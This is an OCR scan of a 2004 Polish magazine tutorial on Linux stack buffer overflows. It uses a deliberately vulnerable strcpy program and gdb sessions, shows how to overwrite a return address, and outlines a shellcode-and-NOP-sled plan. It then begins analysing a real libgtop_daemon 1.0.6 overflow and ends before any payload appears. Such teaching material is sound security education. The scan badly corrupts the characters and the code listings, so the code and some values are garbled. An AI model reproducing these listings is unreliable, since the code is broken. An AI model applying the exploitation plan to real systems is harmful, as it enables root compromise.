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rzepetnienie bufora to jeden z najstar-
P szych trikow stosowanych w celu prze-
jecia kontroli nad dziurawym progra-
mem. Cho¢ technika znana jest od dawna, pro-
gramisci nadal robig btedy umozliwiajace jej
zastosowanie przez intruzow. Przyjrzyjmy sie
doktadnie, na czym polega zastosowanie tej
techniki do przepetnienia bufora na stosie.
Zacznijmy od przedstawionego na Listingu 1
programu stack_1.c. Jego dziatanie jest proste
— funkcja tn pobiera jeden argument (wskaznik
do tancucha znakdéw char *a) i kopiuje jego za-
warto$¢ do tablicy znakdw char buf[10]. Funkcja
ta wywotywana jest w pierwszej linii programu
(En (argv(1])), jako argument funkcji £n podawany
jest pierwszy argument z linii polecen (argv(1).
Kompilujemy i uruchamiamy program:

$ gcc -o stack 1 stack l.c

$ ./stack 1 RAAA

Program zaczyna dziatanie od wywotania funk-
cji £n. Jako argument funkcja otrzymuje ciag
aana. Cigg ten jest kopiowany do tablicy vus, po
czym program wypisuje dwa komunikaty: o za-
konczeniu dziatania funkcji i dojsciu do konca
programu. Nastepnie kohczy dziatanie.
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Nawet bardzo prosty program,
na pierwszy rzut oka
wygladajacy catkiem poprawnie,
moze zawierac bledy, ktore
mog3q zosta¢ wykorzystane do
wykonania dostarczonego kodu.
Wystarczy, ze program bedzie
umieszczat w tablicy dane,

nie sprawdzajac wczesniej ich
diugosci.

Sprobujmy teraz sypna¢ piach w tryby. Za-
uwazmy, ze tablica bur moze pomiesci¢ tylko
dziesie¢ znakoéw (char buf[10]), za$ umiesz-
czany w niej cigg tekstowy moze mie¢ dowol-
ng diugosé. Przyktad:

$ ./stack 1 AAAAAAAAAAAAAAAAAAAAAAAAAARAAA

Tak uruchomiony program bedzie usitowat umie-
Sci¢ trzydziesci znakéw w dziesiecioznakowej ta-

Z artykutu nauczysz sie...

* na czym polega technika przepetniania stosu
(stack overflow),

* jak rozpoznaé, ze program jest na te technike
podatny,

*  jak zmusi¢ podatny program do wykonania do-
starczonego kodu,

* jak debugowac programy za pomoca debugge-
ra gdb.

Co powinienes wiedzieé...

« znaé podstawy jezyka C,
* zna¢ podstawy pracy w systemie Linux (linia
polecen).
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Listing 1. stack_1.c
— przyktadowy program

void fn(char *a)
char buf[10];
strcpy (buf, a);

printf ("koniec funkcji fn\n");

main (int argc, char *argvl[])
fn(argv[1l]);

printf ("koniec\n");

blicy, po czym zakonczy prace z bte-
dem, wyswietlajac segmentation fault.
ZwréEmy uwage, ze nie pojawia sie
zaden komunikat w stylu tablica buf
jest zbyt mata, zamiast tego widzi-
my informacje o btedzie segmentac;ji
(ang. segmentation fault). Oznacza to,
ze program probowat uzyskaé dostep
(pisac lub czytac) do pamieci, do kto-
rej nie ma praw.

Moze nam sie wydawa¢é, ze
program umiescit pierwsze dziesie¢
liter A w tablicy, po czym zostata wy-
kryta préba pisania poza dozwolonym
obszarem i to spowodowato wszcze-
cie alarmu. Nic bardziej mylnego. Pro-
gram bez zadnych przeszkéd zapisat
trzydziestobajtowy ciag w dziesiecio-
znakowej tablicy, w ten sposob nad-
pisujac dwadziescia bajtow pamieci
znajdujacej sie za obszarem zajmo-
wanym przez tablice our(i0]. Btad,
o ktérym poinformowat nas komunikat
segmentation fault, powstat duzo péz-
niej, a jego przyczyna byto uszkodze-
nie pamieci spowodowane nadpisa-
niem tych dwudziestu bajtow.

Przepetnianie stosu pod Linuksem
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Rysunek 1. Podstawowe operacje na stosie to odktadanie liczb na jego
wierzchoftek i zdejmowanie z wierzchotka. W sytuacji przedstawionej na
rysunku najpierw odktadamy na stos (ang. push) warto$¢ 37 (trafia na
wierzchoftek), nastepnie ktadziemy liczbe 89. Kiedy nastepnie zdejmujemy
warto$c¢ ze stosu (ang. pop), otrzymujemy ostatnio nan odtozong liczbe 89.
Aby dostac sie do liczby 37 musieliby$my jeszcze raz wykonac operacje
zdjecia warto$ci ze stosu

A
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Rysunek 2. W przypadku Linuksa na x86 stos ro$nie w dot (objasnienia
w tekScie)

Kilka waznych poje¢

Zanim dowiemy sie, co dzieje sie
w czasie miedzy nadpisaniem dwu-
dziestu bajtéw pamieci a pojawie-

*  Bugtraq — bardzo popularna lista dyskusyjna, na ktorej publikowane sg informacje o

wykrytych bfedach zwigzanych z bezpieczenstwem. Archiwa bugtraga mozna zna-
lez¢ w Internecie pod adresem http.//www.securityfocus.com/.

nop — w asemblerze wiekszosci procesorow istnieje polecenie, ktdre nic nie robi
— polecenie nop. Mogtoby sie wydawag, ze istnienie takiego polecenia nie ma sen-
su, ale — jak wida¢ w artykule — czasem jest ono bardzo przydatne.

Debugger — narzedzie stuzgce do kontrolowanego uruchamiania programoéw. De-
bugger umozliwia zatrzymywanie i wznawianie dziatania badanego programu, wy-
konywanie go krok po kroku, sprawdzanie i modyfikowanie zawartosci zmiennych,
ogladanie zawartosci pamieci, rejestréow procesora itp.

Segmentation fault — btad, ktéry oznacza, ze program usitowat dokona¢ odczytu
lub zapisu w obszarze pamieci, do ktérego nie ma dostepu.
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niem sie informacji o btedzie seg-
mentacji, musimy przypomnie¢ so-
bie kilka podstawowych faktéw.

Co powinnismy
wiedzie¢ o stosie

Kazdy uruchomiony program uzy-
skuje od systemu operacyjnego frag-
ment pamieci. Pamie¢ ta sktada sie
z réznych sekcji — w jednej umiesz-
czone sg biblioteki dzielone, w dru-
giej kod programu, w jeszcze innej

www. hakinS.org
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Listing 2. Wywotanie funkcji
— listing do Rysunku 3

main ()

fn();

fn()
X7
Y
printf ("jestesmy w fn\n");

Listing 3. stack_2.c — listing do
Rysunku 4

fn( argl, arg2)
X;
Yy

printf ("jestedmy w fn\n");

main ()

fn(a, b);

jego dane. Sekcja, ktorej przyjrzymy
sie blizej, jest stos.

Stos jest strukturg stuzacg do
tymczasowego przechowywania da-
nych. Dane na stos mozemy odkta-
dac (ang. push) — trafiajg one wtedy
na jego wierzchotek, mozemy tez je
z wierzchotka stosu zdejmowac (ang.
pop). Przedstawia to Rysunek 1.

W praktyce stos uzywany jest
przez programy do przechowywa-
nia (miedzy innymi) zmiennych lokal-
nych. Wazne jest, by program korzy-
stajacy ze stosu znat dwa istotne ad-
resy. Pierwszy to adres wierzchotka
stosu — jego znajomos¢ jest potrzeb-
na, aby méc odktadaé wartosci (mu-
simy wiedzie¢, pod jakim adresem
umiesci¢ odktadang wartosc¢). Drugi
wazny adres to tzw. wskaznik ramki,

main () {
int a;
int b;
fn();

}

void fn () {
int x;
int y;
printf ("jesteSmy w fn\n");

}

«

< wskaznik ramki

int a

int b <—— wierzchotek stosu

czyli poczatek obszaru zawierajgce-
go zmienne lokalne aktualnie wyko-
nywanej funkcji. W przypadku, kté-
ry rozwazamy (Linux na platformie
x86) adres wierzchotka stosu prze-
chowywany jest w rejestrze sesp,
zas wskaznik ramki — sebp.

Inng kwestig charakterystyczng
dla omawianej platformy jest fakt,
ze stos rosnie w dot. Oznacza to, ze
wierzchotkiem stosu jest nalezaca
do niego komérka pamieci o najniz-
szym adresie (patrz Rysunek 2). Ko-
lejno odktadane na stos wartosci tra-
fiajg pod coraz nizsze adresy.

Co dzieje sie na stosie

podczas wywolywania funkcji
Ciekawe rzeczy dziejg sie na sto-
sie, kiedy nastepuje wywotanie funk-

main () {
int a;
int b;
fn();
}
void fn() {
int x;
int y;
printf ("jestesmy w fn\n") ;€——0
}

int a

int b <« wskaznik ramki
int x

int y <—— wierzchotek stosu

Rysunek 3. Zmienne lokalne na stosie (w uproszczeniu) — ilustracja do

Listingu 2
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Listing 4. Zmodyfikowana
wersja programu z Listingu 3,
dziatanie tego programu
przesledzimy za pomocqg
debuggera

fn( argl, arg2)

Y

x=3; y=4;

printf ("jestedmy w fn\n");
main ()

a=1; b=2;
fn(a, b);

cji. Poniewaz nowowywotana funk-
cja ma wiasne zmienne lokalne, a po-
przednie zmienne lokalne (nalezace
do funkcji wywotujacej) nie mogg zo-
sta¢ usuniete ze stosu (beda potrzeb-
ne po powrocie z funkcji wywotywa-
nej), rejestr sepp (Wskaznik ramki) mu-
si zaczg¢ wskazywac na miejsce be-
dace w chwili wywotania funkcji wierz-
chotkiem stosu, od ktérego to miejsca
zaczng by¢ odkifadane na stos nowe
zmienne lokalne. Doktadniej przedsta-
wia to Rysunek 3, bedacy ilustracja te-
go, co dzieje sie, kiedy wykonywany
jest kod przedstawiony na Listingu 2.

Jak wida¢ na lewej czesci ilu-
stracji, przedstawiajacej stan sto-
su pod koniec funkcji main(), na sto-
sie umieszczone sg dwie zmienne lo-
kalne — int a i int b. Wskaznik ram-
ki (rejestr s ebp) wskazuje na poczatek
obszaru zajmowanego przez zmien-
ne lokalne funkcji main(), wierzcho-
tek za$ na koniec tego obszaru. Po
wywotaniu £n() (prawa czesé rysun-
ku), na stosie, za obszarem zmien-
nych lokalnych funkcji main (), znajdu-
je sie obszar, w ktérym umieszczone
sgq zmienne lokalne funkcji £n(). Po-
czatkiem ramki jest teraz poczatek
obszaru zmiennych funkcji £n(), zas
wierzchotkiem — jego koniec. Ten opis
jest jednak tylko uproszczeniem: fak-
tycznie podczas wywotywania funkciji
dzieje sie troche wiecej.

Kiedy funkcja £n () zakonczy swo-
je dziatanie, kontrola musi zostaé
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przekazana z powrotem do funkgcji
main(). Aby byto to mozliwe, przed
wywotaniem funkcji fn() musi zo-
sta¢ zapisany adres skoku powrot-
nego z funkcji tn() do funkcji main ().
Po powrocie do main() program po-
winien kontynuowac dziatanie tak,
jakby wykonywanie nain () nigdy nie
byto przerywane: stos powinien wiec
wroci¢ do stanu sprzed wywotania
fn(). W tym celu oprécz adresu po-
wrotnego nalezy tez zachowaé ad-
res poczatku ramki. W zaprezento-
wanym przyktadzie funkcja £n() nie
przyjmowata zadnych argumentéw.
W przypadku programu stack_2.c,
ktérego zrodta przedstawia Listing
3, funkcja tn() przyjmuje dwa argu-
menty bedace liczbami naturalnymi.
Podczas wywotywania tn() Z main()
argumenty te muszag zostac¢ w jakis
sposob przekazane.

Wszystkie wspomniane wartosci
(adres powrotu z funkcji, adres po-
przedniego poczatku ramki oraz ar-
gumenty) zachowywane sg na sto-
sie. Rysunek 4 przedstawia co dzieje
sie, kiedy main () wywotuje fn ().

Pierwsza czes¢ rysunku przed-
stawia sytuacje, ktéra ma miejsce,
kiedy wykonywanie programu do-
chodzi do linii int b (na rysunku ta
linia kodu zaznaczona jest strzat-
ka). Jak wida¢ na stosie odiozo-
ne sg dwie zmienne lokalne funkgcji
main(): int aiint b. Strzatka niebie-
ska wskazuje spod stosu, czerwona
— jego wierzchotek.

Druga czes¢ rysunku przedsta-
wia stan stosu w momencie, kiedy
wykonywana jest linia tn(a, ). Jak
widaé wykonanie tej linii spowodo-
wato odtozenie na stos argumentéw
funkcji £n (), czyli zmiennych a i b.

Kolejny krok przedstawiony jest
na trzeciej czesci rysunku. W kro-
ku tym na stos odktadany jest adres
powrotu po zakonczeniu funkcji £n ().
Adresem tym jest adres kolejnej po
fn(a, b) INStrukcji z main ().

Nastepnie wykonywany jest skok
do poczatku funkciji £n (), przechodzimy
do czwartej czesci rysunku. Jak widaé
na stos zostaje odtozona aktualna

Przepetnianie stosu pod Linuksem

1
void fn(int argl, int arg2)

int a

int x;
int y;

—» | int b

printf("jestesmy w fn\n");

}

main () {
int a;
int b;
—>» fn{a, b);
}

{

int a

2

void fn(int argl, int arg2)
int x;
int y;

int b

printf ("jestesmy w fni\n");

}

argument 1->a

» | argument 2->p

main () {

int a;

int b;
—» ifnf{a, k);
}

{

—» | int a

int b

void fn(int argl, int arg2)

argument 1->a

int x;
int y;

argument 2->b

—» printf("jestesmy w fn\n");
}

adres powrotu

_——m| adres poprzedniego
——» | poczatku ramki

main () {
int a;
int b;

int x

fn(a, b);

—> | int y

}

o 3
int a void fn(int argl, int arg2) {
int x;
int b int y;
rintf{"jestesmy w fn\n");
argument 1->a ) B J ¥
argument 2->b
main () {
—» | adres powrotu int a;
int b;
—» 1in(a, b);
}
4
void fn(int argl, int arg2) {
—» | int a —>» int x:
int y;
int b printf ("jestedmy w fn\n”);
}
argument 1->a
argument 2->b medm () {
int a;
adres powrotu int b;
fn(a, b);
—H#| adres poprzedniego }
) oczatku ramki
» [ Poczq
5

{

Rysunek 4. Operacje na stosie podczas wywotywania funkcji — ilustracja do
Listingu 2 (objasnienia w tekscie)

wartos¢ poczatku ramki, zas nowym
wskaznikiem ramki zostaje aktualny
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Listing 5. Sesja debuggera gdb — oglgdamy zawarto$¢ stosu podczas
wykonywania programu z Listingu 3

$ gcc stack 2.c -o stack 2 -ggdb

$ gdb stack_2

GNU gdb 6.0-debian

(..0)

(gdb) list

2 int x;

3 int y;

4 x=3; y=4;

5 printf ("jestedmy w fn\n");

6}

7

8 main () {

9 int a;

10 int b;

11 a=1l; b=2;

(gdb) break 5

Breakpoint 1 at 0x8048378: file stack 2.c, line 5.

(gdb) run

Starting program: /home/piotr/nic/stos/stack 2
Breakpoint 1, fn (argl=l, arg2=2) at stack 2.c:5

5 printf ("jestedmy w fn\n");

(gdb) print $esp

$1 = (void *) Oxbffff9f0

(gdb) x/24 $esp

Oxbffff9£f0:0x080483c0 0x080495d8 Oxbffffal8 0x08048265
Oxbffffa00: 0x00000004 0x00000003 Oxbffffa28 0x080483b6
Oxbffffall: 0x00000001 0x00000002 Oxbffffa74 0x40155630
Oxbffffa20:0x00000002 0x00000001 Oxbffffad48 0x4003bdcé
Oxbffffa30: 0x00000001 Oxbffffa74 Oxbffffa7c 0x40016c20
Oxbffffad0:0x00000001 0x080482a0 0x00000000 0x080482cl
(gdb) disas main

Dump of assembler code for function main:

0x08048386 <main+0>: push %ebp

0x08048387 <main+l>: mov Sesp, $ebp

0x08048389 <main+3>: sub $0x18, %esp

0x0804838c <main+6>: and SOxfEfEff£ff0, esp
0x0804838f <main+9>: mov $0x0, $eax

0x08048394 <main+14>: sub Seax, sesp

0x08048396 <main+l16>: movl $0x1, 0xfffffffc (%ebp)
0x0804839d <main+23>: movl $0x2,0xfEEEE£E8 (%ebp)
0x080483a4 <main+30>: mov OxffE£££f£8 (Sebp), eax

0x080483a7 <main+33>: mov %eax, 0x4 (%esp, 1)
0x080483ab <main+37>: mov Oxfffffffc (%ebp), $eax
0x080483ae <main+40>: mov seax, (%esp, 1)

0x080483b1 <main+43>: call 0x8048364 <fn>
0x080483b6 <main+48>: leave

0x080483b7 <main+49>: ret

End of assembler dump.

(gdb) print $ebp+4

$2 = (void *) Oxbffffalc

(gdb) x Oxbffffalc

Oxbffffalc: 0x080483b6

(gdb) quit

wierzchotek (czyli miejsce, powyzej Na 2ywo

ktérego zaczng sie lokalne zmienne
funkcji £n()). Po tym wszystkim (patrz
piata czesc¢ rysunku) na stosie odkfa-
dane s3 lokalne zmienne funkcji £n (),
czyli int x i int y PO czym kontynu-
owane jest wykonywanie funkgcji £n ().

Zeby upewnié sie, ze podczas wy-
konywania rzeczywistego programu
stos naprawde wyglada tak, jak to
opisalismy, uruchomimy zmodyfiko-
wang wersje programu z Listingu 3
(wersja ta przedstawiona jest na Li-
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stingu 4, modyfikacja polega na do-
daniu dwu linijek ustawiajgcych war-
tosci zmiennych a, b, x i y, dzieki cze-
mu tatwiej zorientujemy sie, gdzie na
stosie przechowywane sg te zmien-
ne). Przyjrzymy sie programowi przy
pomocy debuggera gdb (patrz Li-
sting 5, przedstawiajacy sesje de-
buggera).

Zacznijmy od skompilowania pro-
gramu:

$ gcc stack 2.c -o stack 2 -ggdb

Kompilator uruchomilismy z opcjq
-ggdb, cO spowodowato, ze do pro-
gramu dofgczone zostaty informacje
dla debuggera. Teraz mozemy uru-
chomi¢ debugger:

$ gdb stack 2

Po uruchomieniu gdb mozemy obej-
rze¢ listing debugowanego programu
(wydajac polecenie 1ist), a nastep-
nie ustawic¢ putapke — na przyktad na
czwartej linii funkcji £n (), czyli na linii
printf("jestesmy w £n\n");. PUJ(aka
ustawiamy poleceniem break numer _
1inii, czyli w naszym przypadku:

(gdb) break 5

Ustawienie putapki na linii piatej powo-
duje, ze wykonywanie programu za-
trzyma sie przed wykonaniem tej linii.
Teraz mozemy juz uruchomié
program (poleceniem run). Program
rusza i zatrzymuje sie tam, gdzie
ustawiliSmy breakpoint, czyli na
linii piatej. Mozemy teraz obejrzec
zawarto$¢ stosu. Najpierw potrzeb-
ny nam bedzie adres wierzchotka
stosu, czyli zawartos¢ rejestru sesp.
Wystarczy wydaé polecenie:

(gdb) print Sesp

Teraz, kiedy wiemy juz, jaki jest ad-
res wierzchotka stosu, mozemy
obejrze¢ zawarto$¢ pamieci poczy-
najac od tego adresu. Obejrzyjmy na
przyktad dwadziescia cztery kolejne
czterobajtowe stowa:

(gdb) x/24 $esp

HakinS Nr 4 /2004



Przepetnianie stosu pod Linuksem

$ gdb stack_1

GNU gdb 6.0-debian
Ll)

gdb) list

void fn(char *a) {
char buf[10];
strcpy (buf, a);

printf ("koniec funkcji fn\n");

(

(

1

2

3

4

5 1}
6

7 main (int argc, char *argv[]) {
8 fn(argv[l]);

9 printf ("koniec\n");

10 '}

(gdb) break 3

3 strcpy (buf, a);

(gdb) print &buf

$1 = (char (*)[10]) Oxbffff9e0l
(gdb) print $ebp+4

$2 = (void *) Oxbffffofc
(gdb) x Oxbffff9fc
Oxbffff9fc: 0x080483da

(gdb) next

4 printf ("koniec funkcji
(gdb) x $ebp+4

Oxbffff9fc: 0x08004141

fn\n");

Listing 6. Sesja debuggera — sprawdzamy, dlaczego przy wykonywaniu
programu z Listingu 1 wystepuje btgd segmentacji

Breakpoint 1 at 0x804839a: file stack l.c, line 3.

(gdb) run AAAAAAAAARAAAAAAAARARAAAAAAAAARAA

Starting program: /home/piotr/stos/stack 1 AAAAARAAAAAAARARAAAARAAAARAARA
Breakpoint 1, fn (a=0xbffffb84 'A' <repeats 30 times>) at stack l.c:3

Wynik dziatania tego polecenia mo-
zemy zobaczy¢ na Listingu 5. Jak
widaé, na poczatku stosu (patrzac
od wierzchotka w strone wskazni-
ka ramki) znajduje sie szesnascie
bajtow (wielkos¢ stosu zostata
wyréwnana do okragtej wartosci).
Nastepnie mamy dwa czterobajtowe
stowa o tresci 0x00000004 i 0x00000003
— to zmienne x i y. Po nich nastepuje
(patrz pigta cze$¢ Rysunku 3) adres
poprzedniego spodu stosu oraz
adres powrotu z funkcji (w naszym
przypadku, przedstawionym na
Listingu 5, jest to 0x080483b6). Upew-
nijmy sie, ze adres powrotu z funkcji
rzeczywiscie prowadzi do funkgcji
main(). W tym celu zdeasemblujmy
funkcje main ():

(gdb) disas main
Jak widaé (patrz Listing 5) ad-
res 0x080483b6, czyli adres powrotu

z funkcji £n (), lezy rzeczywiscie we-
wnatrz main(), tuz po poleceniu wy-
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wotujgcym funkcje £n() (jest to pole-
cenie call 0x8048364 <fn>).
Zauwazmy, ze aby odnalez¢ ad-
res powrotu z funkcji nie musimy
oglada¢ catego stosu zaczynajac
od jego wierzchotka i $ledzgc kazdg
umieszczong na nim zmienng lokal-
na. Wystarczy jesli sprawdzimy ja-
ka jest zawarto$c rejestru zepp, a na-
stepnie dodamy do niej cztery:

(gdb) print $ebp+4

Jak wida¢ na Rysunku 3 (piagta
cze$E) rejestr sepp Wskazuje na za-
pisany na stosie adres poprzednie-
go spodu stosu. Adres ten zajmuje
cztery bajty, wiec pod kolejnym, o
cztery bajty wiekszym (pamietajmy,
ze stos rosnie w dét) adresem znaj-
duje sie adres powrotu z funkcji.
Mozemy sie o tym przekona¢ wyda-
jac polecenie:

(gdb) x Oxbffffalc
0x080483b6

Analiza programu
Teraz, bogatsi o wiedze zwigza-
ng z tym, co podczas dziatania pro-
gramu dzieje sie na stosie, mozemy
ponownie przyjrze¢ sie programowi
stack_1.c (Listing 1). Jak pamietamy,
program ten konczyt prace z btedem,
kiedy zmuszaliSmy go do umieszcze-
nia w dziesieciobajtowej tablicy trzy-
dziestobajtowego ciggu. Sprébuj-
my uruchomié go pod debuggerem
i obejrzyjmy, co dzieje sie miedzy
nadpisaniem dwudziestu bajtow pa-
mieci za tablicg buf(10] a zakoncze-
niem dziatania programu z komuni-
katem segmentation fault.

Zacznijmy od skompilowania pro-
gramu z informacjami dla debuggera:

$ gcc stack 1l.c -o stack 1 -ggdb

Teraz sprobujmy w kontrolowany spo-
s6b spowodowac btad. W tym celu po
uruchomieniu debuggera i ustawieniu
putapki na trzeciej linii programu (czyli
na krytycznej linii st rcpy (buf, a);) uru-
chamiamy program, jako argument
podajac mu cigg trzydziestu liter A (pe-
ten zapis sesji debuggera przedstawia
Listing 6).

(gdb) run \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program zatrzymuje sie na putapce,
czyli na linii trzeciej. Sprawdzmy pod
jakim adresem umieszczona jest ta-
blica bur(:

(gdb) print &buf
$1 = (char (*)[10]) Oxbffff9e0

A adres powrotu z funkcji?

(gdb) print Sebp+4
$2 = (void *) Oxbffff9fc

Jak wida¢, miedzy poczatkiem ta-
blicy a adresem powrotu z funkgcji
jest tylko dwadziescia osiem bajtéw.
Nie dziwne wiec, ze kiedy umiesci-
my w niej trzydziestoznakowy ciag,
to jego koncéwka zahaczy o adres
powrotu z funkcji. Sprawdzmy, czy
rzeczywiscie tak sie rzeczy majq
— zobaczmy jaki jest adres powrotu

www. hakinS.org




>
3
[
L 4
(4]
©
<)
a

z funkcji przed skopiowaniem argu-
mentu a do tablicy bus:

(gdb) x Oxbffff9fc
Oxbffff9fc: 0x080483da

Teraz nakazmy debuggerowi wy-
konanie kolejnej linii kodu (czyli
umieszczenie w tablicy trzydziesto-
znakowego ciggu):

(gdb) next

Zajrzyjmy jaki teraz adres umiesz-
czony jest jako adres powrotu
z funkgiji:

(gdb) x Sebp+d
Oxbffff9fc: 0x08004141

Powyzsze polecenie powoduje wy-
Swietlenie zawartosci pamieci spod
adresu o cztery wiekszego niz adres
przechowywany w rejestrze sebp.
Jak wida¢ dwa mtodsze bajty adresu
zostaty nadpisane wartoscig oxs4141.
Szesnastkowe 0x41 to (jak mozna
sprawdzi€¢ W man ascii) litera A.

Whniosek jest prosty. Skoro po-
danie zbyt dtugiego ciggu spowodo-
wato nadpisanie jego kohcowka ad-
resu powrotu z funkgcji, to jesli skon-
struujemy sprytny cigg, moze uda
nam sie wpisa¢ do adresu powrotu
z funkcji wartos¢, ktéra spowoduje,
ze po zakonczeniu funkcji wykony-
wanie przejdzie pod wybrany przez
nas adres. Adres ten moze kiero-
wacé do umieszczonego przez nas
w pamieci kawatka kodu, ktory zro-
bi co$, czego dobrowolnie nie zrobi
admin atakowanego systemu — da
nam uprawnienia roota albo otwo-
rzy powtoke na ktéryms porcie. Aby
kod mégt by¢ umieszczony w pamie-
ci, wystarczy, ze bedzie on czescig
ciggu, ktéry podamy programowi ja-
ko argument.

Tak wiec nasz cigg (patrz Rysu-
nek 5, lewy cigg) musi skfadaé sie
z dwéch czesci: jedna z nich zawie-
ra kod (w jezyku maszynowym), kto-
ry pozwala nam osiggng¢ ztosliwy
cel (jest to tak zwany szelkod, z ang.
shellcode). Druga czes$¢ zawiera ad-
res tej pierwszej i nadpisuje adres

powrotu z funkcji, co powoduje, ze
kiedy skonczy sie dziatanie atakowa-
nej funkcji, wykonany zostanie ztosli-
wy kod z pierwszej czesci.

Zanim sprobujemy wykorzystaé
w praktyce naszg wiedze, zastanow-
my sie, na jakie problemy mozemy
napotka¢. Po pierwsze: skad wez-
miemy szelkod? Zauwazmy, ze kod
ten musi by¢ krotki (zeby zmiescit sie
w buforze) i nie moze zawiera¢ baj-
téw zerowych (inaczej nie bedzie-
my mogli umiesci¢ go wewnatrz po-
dawanego programowi ciggu — baijt
zerowy zostanie potraktowany ja-
ko znak konca ciggu). Wbrew pozo-
rom napisanie szelkodu nie jest trud-
ne, tworzenie szelkodéw dla réoznych
systemoéw operacyjnych bylo wie-
lokrotnie opisywane w publikacjach
dostepnych w Internecie i na ta-
mach naszego pisma. My skorzysta-
my z gotowego szelkodu, ktoéry bez
problemu znajdziemy w Internecie,
a wiasnoreczne jego pisanie odtozy-
my na inng okazje.

Jakg dtugos¢ musi mie¢ ciag,
aby nadpisat adres powrotu z funk-
cji? Problem ten rozwigzemy eks-
perymentalnie:  sprébujemy  uru-
chamiaé dziurawy program jako ar-
gument podajac mu coraz diuzszy
ciag. Zapiszemy przy jakiej dtugo-
Sci ciggu wystepuje btad segmen-
tacji, a do przeprowadzenia ataku
uzyjemy na wszelki wypadek ciggu
nieco dtuzszego. Nadpisujac kawa-
tek stosu znajdujacy sie za adresem
powrotu z funkcji uszkodzimy zmien-
ne lokalne nalezace do funkcji, ktora
wywotata naszg (a to mata strata, bo
i tak nie planujemy do niej wrdcic).

Jakim jednak adresem nadpi-
szemy adres powrotu z funkcji? Na
Rysunku 5 widaé po prostu adres
szelkodu, ale skad podczas tworze-
nia ztosliwego ciggu mozemy wie-
dzie¢, pod jakim adresem dziurawy
program umiesci podany przez nas
ciag? Do problemu tego podejdzie-
my jednoczes$nie z dwéch stron. Po
pierwsze: sprébujemy uruchomié
dziurawy program pod debugge-
rem i sprawdzimy, gdzie w pamieci
umieszczany jest podawany przez
nas argument. Po drugie: w konstru-
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adres powrotu o

poprzedni
wskaznik ramki

poy|azs
poyjezs

dON
A

buf[]

-«

Rysunek 5. Konstrukcja ciggu,
ktéry przepetniajgc bufor na

stosie spowoduje wykonanie
dostarczonego przez nas ztosliwego
kodu (pierwszy i drugi pomyst)

owanym przez nas ciggu na samym
poczatku, jeszcze przed szelkodem
umiescimy cigg nic nie robigcych
polecen nop (patrz prawy cigg na Ry-
sunku 5). Dzieki temu nawet jesli nie
trafimy dokfadnie na poczatek szel-
kodu, nic ztego sie nie stanie — kilka
nopéw zostanie przeskoczonych, po
czym wykonany zostanie szelkod.
Tu mata uwaga: odlegto$¢ mie-
dzy poczatkiem tablicy bur(] a adre-
sem powrotu z funkcji nie zmieni sie,
kiedy ten sam program uruchomimy
na innym komputerze. W zasadzie
wystarczytoby wiec w ciggu, ktory
dostarczamy dziurawemu progra-
mowi, umiesci¢ adres powtérzony
tylko raz, za to dtugos¢ ciggu dobraé
tak, by adres ten trafit doktadnie
tam, gdzie trzeba. W praktyce jed-
nak lepiej jest, aby blok nopéw miat
dtugosc¢ wieksza niz cztery bajty. Za-
uwazmy, ze jesli szelkod bedzie od-
ktadat na stos jakie$ wartosci, mogg
one nadpisa¢ koniec dostarczonego
przez nas ciggu. Jesli nie bedzie tam
odpowiednio dtugiego bloku nopdw,
uszkodzeniu moze ulec szelkod.

Rozpoczynamy

ofensywe

Teraz, kiedy mamy juz przygoto-
wany plan, mozemy sprobowaé
przeprowadzi¢ atak na dziurawy
program z Listingu 1. Czemu jed-
nak atakowac napisany przez nas,
celowo dziurawy program? Skoro
juz wiemy (na razie teoretycznie)
jak to zrobi¢, sprébujmy wykorzy-
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Przepetnianie stosu pod Linuksem

Listing 7. Funkcja permitted (), fragment pliku src/daemon/gnuserv.c ze

Zrodet libgtop

static int permitted (u_long host addr, int fd)

int i;
char auth protocol[128];
char buf[1024];

int auth_data_len;

/* Read auth protocol name */

if (timed_read (fd, auth_protocol, AUTH_NAMESZ, AUTH_TIMEOUT, 1) <= 0)

return FALSE;
(o)

if (!strcmp (auth_protocol, MCOOKIE_NAME))
if (timed read (fd, buf, 10, AUTH TIMEOUT, 1) <= 0)

return FALSE;
auth_data_len = atoi (buf);
if (

timed read (fd, buf, auth data len, AUTH TIMEOUT, 0)

return FALSE;

!= auth_data_len)

Woezytaj linijke danych
do zmiennej auth protocol.

Czy
auth_protocol
== "MAGIC 1"?

NIE

TAK

Woezytaj linijke danych, wstaw
ja (jako liczbg) do auth data len.

Y

Woezytaj do bufora buf [] linijke
danych (nie wiecej niz auth_data_len).

Rysunek 6. Fragment funkcji permitted () (ilustracja do Listingu 7)

sta¢ dziure w jakim$ prawdziwym
programie.

Przejrzenie archiwow Bugtraq
umozliwi nam znalezienie dziurawe-
go, nadajgcego sie do zaatakowa-
nia programu. Z jednej z wiadomosci
dowiadujemy sie, ze w wersji 1.0.6
biblioteki libgtop znaleziono btad
umozliwiajacy przepetnienie bufo-
ra na stosie. libgtop jest bibliotekg
zbierajaca informacje diagnostycz-
ne o systemie. Dziata ona w archi-
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tekturze klient-serwer, btad znalezio-
no w serwerze (program libgtop_da-
emon). Atak przeprowadzimy przez
wystanie komputerowi, na ktérym
uruchomiony jest serwer, specjalnie
spreparowanych danych, ktére spo-
wodujg przepetnienie bufora na ser-
werze i wykonanie dostarczonego
przez nas kodu. Szczego6tami ataku
zajmiemy sie jednak za chwile, nara-
zie przyjrzyjmy sie na czym polega
btad znaleziony w libgtop_daemon

i jak mozemy zmusi¢ dziurawy pro-
gram do wykonania naszego kodu.

Na czym polega btad

w libgtop_daemon

Zrédta  dziurawej wersji progra-
mu zamiescilismy na dotaczonej
do pisma ptycie. Spéjrzmy na
Listing 7, przedstawia on definicje
funkcji permitted(), fragment pliku
src/daemon/gnuserv.c.  Analizujac
kod mozemy zwréci¢ uwage na po-
wtarzajaca sie funkcje timed read()
(jest ona zdefiniowana w tym samym
pliku). Funkcja wczytuje z pliku
(ktorego uchwyt podany jest jako
pierwszy argument) do bufora (drugi
argument) nie wiecej znakow, niz
mowi trzeci argument.

Wiedzac juz co robi funkcja
timed read(), Pprzyjrzyjmy sie do-
ktadniej funkcji permitted(). Zwrdé-
my uwage na linie:

if (timed read (fd, buf,
auth data len, AUTH TIMEOUT,
0) != auth data len)

Woezytuje ona z pliku £d4 do bufora vus
nie wiecej NiZ auth data len ZNa-
kéw. Gdyby okazato sie, ze auth _
data _len jest wieksze od rozmiaru
tablicy bur(1 (ktdra, jak wida¢ na Li-
stingu 7, ma 1024 baijty), do tablicy
tej zostanie wczytane za duzo zna-
koéw, przez co bufor zostanie prze-
petniony i przy odrobinie szczescia
nadpisany zostanie adres powro-
